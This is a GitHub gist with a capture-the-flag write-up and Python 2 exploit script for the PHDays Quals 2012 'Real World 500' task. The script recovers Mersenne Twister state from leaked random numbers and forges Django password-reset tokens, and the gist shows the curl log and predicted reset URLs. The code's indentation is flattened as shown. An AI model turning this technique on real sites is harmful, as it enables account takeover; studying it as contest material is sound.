Skip to content

Instantly share code, notes, and snippets.

@ei-grad
Created December 17, 2012 09:39
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ei-grad/4317091 to your computer and use it in GitHub Desktop.
Save ei-grad/4317091 to your computer and use it in GitHub Desktop.
PHDays Quals 2012 - Real World 500
#!/usr/bin/env python2
#
# see: https://github.com/fx5/not_random and related article
import sys
import os
import gzip
import random
from itertools import imap
import hashlib
from lxml.etree import parse
from progress import ProgressBar
#HOST = 'example.com'
HOST = 'ctf.phdays.com:12391'
USERN = int(sys.argv[1])
EMAIL = 'user%d@phdays.com' % USERN
BROWSER = 'chromium'
print "Loading Magic"
f = gzip.GzipFile("magic_data","r")
magic = eval(f.read())
f.close()
print "Done."
print "Working...."
progress = ProgressBar()
def rebuild_random_from_string(string):
return rebuild_random(list(imap(ord, string)))
def rebuild_from_floats(floats):
s = "".join(chr(int(i * 256)) for i in floats)
return rebuild_random_from_string(s)
def rebuild_random(vals):
def getbit(bit):
assert bit >= 0
return (vals[bit // 8] >> (7 - bit % 8)) & 1
state = []
for i in xrange(0, 624):
progress.progress(i / 623.)
val = 0
data = magic[i % 2]
for bit in data:
val <<= 1
for b in bit:
val ^= getbit(b+(i//2)*8 - 8)
state.append(val)
state.append(0)
ran = random.Random()
ran.setstate((3, tuple(state),None))
for i in xrange(len(vals) - 3201 + 394):
ran.randint(0,255)
return ran
def random_floats(length, random_module=random):
return [random_module.random() for i in range(length)]
def get_floats(n=3360):
os.popen(r'''
curl -v \
http://%(host)s/\?count\=%(count)d -o rw500_resp \
http://%(host)s/password_reset/ \
-d csrfmiddlewaretoken=23ca27c3882e0b9a1964d96e44c0481e \
-d email=%(email)s \
-H 'Cookie: csrftoken=23ca27c3882e0b9a1964d96e44c0481e'
cat rw500_resp | \
sed 's/=\([0-9.]\+\)/="\1"/g' | \
sed 's,\(rand .*\)>,\1/>,g' >rw500_resp.xml
''' % {'host': HOST, 'count': n, 'email': EMAIL}
).close()
xml = parse('rw500_resp.xml')
return list(map(float, xml.xpath('rand/@value')))
if __name__ == "__main__":
floats = get_floats(3400)
my_random = rebuild_from_floats(floats[:3360])
for n, (i, j) in enumerate(zip(floats[-40:],
[my_random.random()
for i in range(40)])):
assert '%.16f' % i == '%.16f' % j, Exception('%d (%f)' % (
n, abs(i - j)
))
for i in range(5):
url = 'http://%s/reset/%d-%s/' % (
HOST, USERN,
hashlib.md5('%.16f' % my_random.random()).hexdigest()
)
print(url)
os.popen3('%s %s' % (BROWSER, url))
@ei-grad
Copy link
Author

ei-grad commented Dec 17, 2012

Task: Real World 500

PHDays Quals 2012 http://quals.phdays.ru/

Find flag on http://ctf.phdays.com:12391

This is a Python+Django web application saying "This is Awesome Really Random Numbers Generator service! Just use /?count=". Obviously, this is a task about cracking pseudo-random numbers generator.

The list of available URIs can be found in http://ctf.phdays.com:12391/robots.txt :

User-Agent: *
Disallow: /admin/
Disallow: /password_reset/
Disallow: /reset/

Password reset. It's clear.

Requesting http://ctf.phdays.com:12391/?count=N we can get a huge amount of sequentially generated random numbers, and this is death for the security in the most cases if it relies on the fact that the output of PRNG is unpredictable. Ha! I guess it is exactly in this case.

Searching the web we could find some articles about restoring the Mersenne Twister PRNG state, I was lucky enought to find a https://spideroak.com/blog/20121205114003-exploit-information-leaks-in-random-numbers-from-python-ruby-and-php. MT state could be restored even if only the 1/4 of generated random bites is exposed? Amazing. Lets check.

So, the plan is simple - generate a large sequence of random numbers and restore the password. But which password? What user email to use?

Label in the password reset form says "use the test@test.com for example", ok:

IF test@test.com <or userX@domain.com> exists the link will be 'http://example.com/reset/0-str(hashlib.md5(str('%.16f'%random.random())).hexdigest())/'

Oh, cool! We got a hint about the password reset link. But it doesn't look like the test@test.com is the target user.

Using an official hints "valid users: userX@phdays.com, http://example.com/reset/5-md5" we can understand that there are 9 target users - user{1-9}@phdays.com, and the password reset URL should contain the user number.

Ok, going to http://ctf.phdays.com:12391/password_reset/ and trying to reset user1@phdays.com - "Password reset successful". It works, great!

Trying to reset it again results in 'You can retrieve your password only 1 time at 30 minutes.' message. Good, we have other 8 users.

So, we have all we need. The detailed plan of attack is:

  • Send /?count=3360 request to restore MT state using algorithm provided by @fx5.
  • Send /password_reset/ request to place a password reset token into web application database (important moment - we have to send both requests in the keep-alive connection to make sure they would end up in the same web-application worker, in real life we might have to send multiple requests for sure, but not this time as we can't restore password more than once per 30 minutes).
  • Rewind the PRNG state and generate a password reset token using that state.

That's all. Lets go:

ei-grad@ei-grad ~/phdays2013 » python2 rw500.py 6
Loading Magic
Done.
Working....
* About to connect() to ctf.phdays.com port 12391 (#0)
*   Trying 195.133.10.151...
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* connected
* Connected to ctf.phdays.com (195.133.10.151) port 12391 (#0)
> POST /?count=3400 HTTP/1.1
> User-Agent: curl/7.28.1
> Host: ctf.phdays.com:12391
> Accept: */*
> Cookie: csrftoken=23ca27c3882e0b9a1964d96e44c0481e
> Content-Length: 75
> Content-Type: application/x-www-form-urlencoded
> 
} [data not shown]
* upload completely sent off: 75 out of 75 bytes
< HTTP/1.1 200 OK
< Connection: Keep-Alive
< Keep-Alive: timeout=15
< Transfer-Encoding: chunked
< Date: Sat, 15 Dec 2012 21:33:24 GMT
< Server: Cherokee/1.0.8 (Debian GNU/Linux)
< PID: 4119
< Content-Type: text/html; charset=utf-8
< 
{ [data not shown]
100  135k    0  135k  100    75   587k    326 --:--:-- --:--:-- --:--:--  637k
* Connection #0 to host ctf.phdays.com left intact
* Re-using existing connection! (#0) with host ctf.phdays.com
* Connected to ctf.phdays.com (195.133.10.151) port 12391 (#0)
> POST /password_reset/ HTTP/1.1
> User-Agent: curl/7.28.1
> Host: ctf.phdays.com:12391
> Accept: */*
> Cookie: csrftoken=23ca27c3882e0b9a1964d96e44c0481e
> Content-Length: 75
> Content-Type: application/x-www-form-urlencoded
> 
} [data not shown]
* upload completely sent off: 75 out of 75 bytes
< HTTP/1.1 302 Moved Temporarily
< Connection: Keep-Alive
< Keep-Alive: timeout=15
< Transfer-Encoding: chunked
< Date: Sat, 15 Dec 2012 21:33:24 GMT
< Server: Cherokee/1.0.8 (Debian GNU/Linux)
< Location: http://ctf.phdays.com:12391/password_reset/done/
< PID: 4119
< Content-Type: text/html; charset=utf-8
< 
{ [data not shown]
100    75    0     0  100    75      0   3122 --:--:-- --:--:-- --:--:--  3122
* Connection #0 to host ctf.phdays.com left intact
* Closing connection #0
BBBBBBBBBBBBBBBBBBBBBBBBBBBDDDDCCCCCCCCCCCCCEEEDDDDEEGFHJSREOIHFEEDDEEECCCCCCCBB
BBBBBBBBBBBBBBBBBBBBBBBBBBCDDDDDDCCCCCCCCCDDEEEEFFEEFGRQQF..ONCJFFEEEEDDCCCCCCCC
BBBBBBBBBBBBBBBBBBBBBBBBBCCDDDDDDDDEEDDDDDDDFEEEFFFGGGIRI.....PIGGFEEEFDDDDEDDDD
BBBBBBBBBBBBBBBBBBBBBBBBCCCDDDDDDDDDEEEDDDDEGFGGGHGHHIJO......RJHIGGFFFEFEEDDDDD
CCCBBBBBBBBBBBBBBBBBBCCCCCCDDDDDDDDDEEEEEFFGGNRTKJICBOLBTM..IAQOPMNJIGHHPIEDDDDD
CCCCCCCCCCBBBBBBBCCCCCCCCCDEDDDDDDDDEEEEEFFFGLP..TDK..............HPLMEAPTGEEEEC
CCCCCCCCCCCCDDDDCCCCCCCCCDDEEEDDDDDFFEEEEFGGHKQ.........................NJFFEDDC
CCCCCCCCCCCCCDDDDDDDEDDDDDFEEEFEEEEFFFGGFGIMRN........................JPJGGEEDDC
CCCCCCCCCCCCCDDDDDDDDEEEFFKIGFFGGFGFFFGGGIJO............................TIIGFFDD
CCCCCCCCCCCCCCDDDDDDDEEEEFKKIIHHJBIHGIHHHIF.............................G.QJFEEE
BCCCCCCCCCCCCCDDDDDDDEFFFGHJNNOLMPJLRJIJILI..............................QJGGEDD
BBCCCCCCCCCCCDEEDDDDDEFFFGHIFP.L.....DDMMO...............................HLGGDDD
BBBDDDCCCCCCDDEEEEFFEFHGHIRRA...........PA...............................JJFEEED
BBBCDDDDEEDDDFEEEEFFHGJKKKME.............K...............................LHGEEEE
BBBBCDDDFEEFIFFGFGGHHJKPT.P.............................................QGGFEDDD
BBBBCC................................................................PJHGFEEDDD
BBBBCDDDFEEFIFFGFGGHHJKPT.P.............................................QGGFEDDD
BBBCDDDDEEDDDFEEEEFFHGJKKKME.............K...............................LHGEEEE
BBBDDDCCCCCCDDEEEEFFEFHGHIRRA...........PA...............................JJFEEED
BBCCCCCCCCCCCDEEDDDDDEFFFGHIFP.L.....DDMMO...............................HLGGDDD
BCCCCCCCCCCCCCDDDDDDDEFFFGHJNNOLMPJLRJIJILI..............................QJGGEDD
CCCCCCCCCCCCCCDDDDDDDEEEEFKKIIHHJBIHGIHHHIF.............................G.QJFEEE
CCCCCCCCCCCCCDDDDDDDDEEEFFKIGFFGGFGFFFGGGIJO............................TIIGFFDD
CCCCCCCCCCCCCDDDDDDDEDDDDDFEEEFEEEEFFFGGFGIMRN........................JPJGGEEDDC
CCCCCCCCCCCCDDDDCCCCCCCCCDDEEEDDDDDFFEEEEFGGHKQ.........................NJFFEDDC
CCCCCCCCCCBBBBBBBCCCCCCCCCDEDDDDDDDDEEEEEFFFGLP..TDK..............HPLMEAPTGEEEEC
CCCBBBBBBBBBBBBBBBBBBCCCCCCDDDDDDDDDEEEEEFFGGNRTKJICBOLBTM..IAQOPMNJIGHHPIEDDDDD
BBBBBBBBBBBBBBBBBBBBBBBBCCCDDDDDDDDDEEEDDDDEGFGGGHGHHIJO......RJHIGGFFFEFEEDDDDD
BBBBBBBBBBBBBBBBBBBBBBBBBCCDDDDDDDDEEDDDDDDDFEEEFFFGGGIRI.....PIGGFEEEFDDDDEDDDD
BBBBBBBBBBBBBBBBBBBBBBBBBBCDDDDDDCCCCCCCCCDDEEEEFFEEFGRQQF..ONCJFFEEEEDDCCCCCCCC
BBBBBBBBBBBBBBBBBBBBBBBBBBBDDDDCCCCCCCCCCCCCEEEDDDDEEGFHJSREOIHFEEDDEEECCCCCCCBB
http://ctf.phdays.com:12391/reset/6-216f10ea58f6db337b00960525a24382/
http://ctf.phdays.com:12391/reset/6-1ba4a3e442a6ed81ae1ba0df0d8d33e2/
http://ctf.phdays.com:12391/reset/6-ac07d5e7afd8d7a3bc9e7e951d6189d6/
http://ctf.phdays.com:12391/reset/6-ef7d5b0130fcb5d9dab5f984f57e0f4e/
http://ctf.phdays.com:12391/reset/6-cd3921710d935ee41a40efee42ac41e8/

And here we are:

password reset form

Login with specified password to http://ctf.phdays.com:12391/admin:

admin login

And see the flag:

flag

We done!

@ei-grad
Copy link
Author

ei-grad commented Dec 17, 2012

Our write-ups for other PHDays Quals 2012 tasks: http://darkbyte.ru/2012/61/phdays-quals-2012-writeup/

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment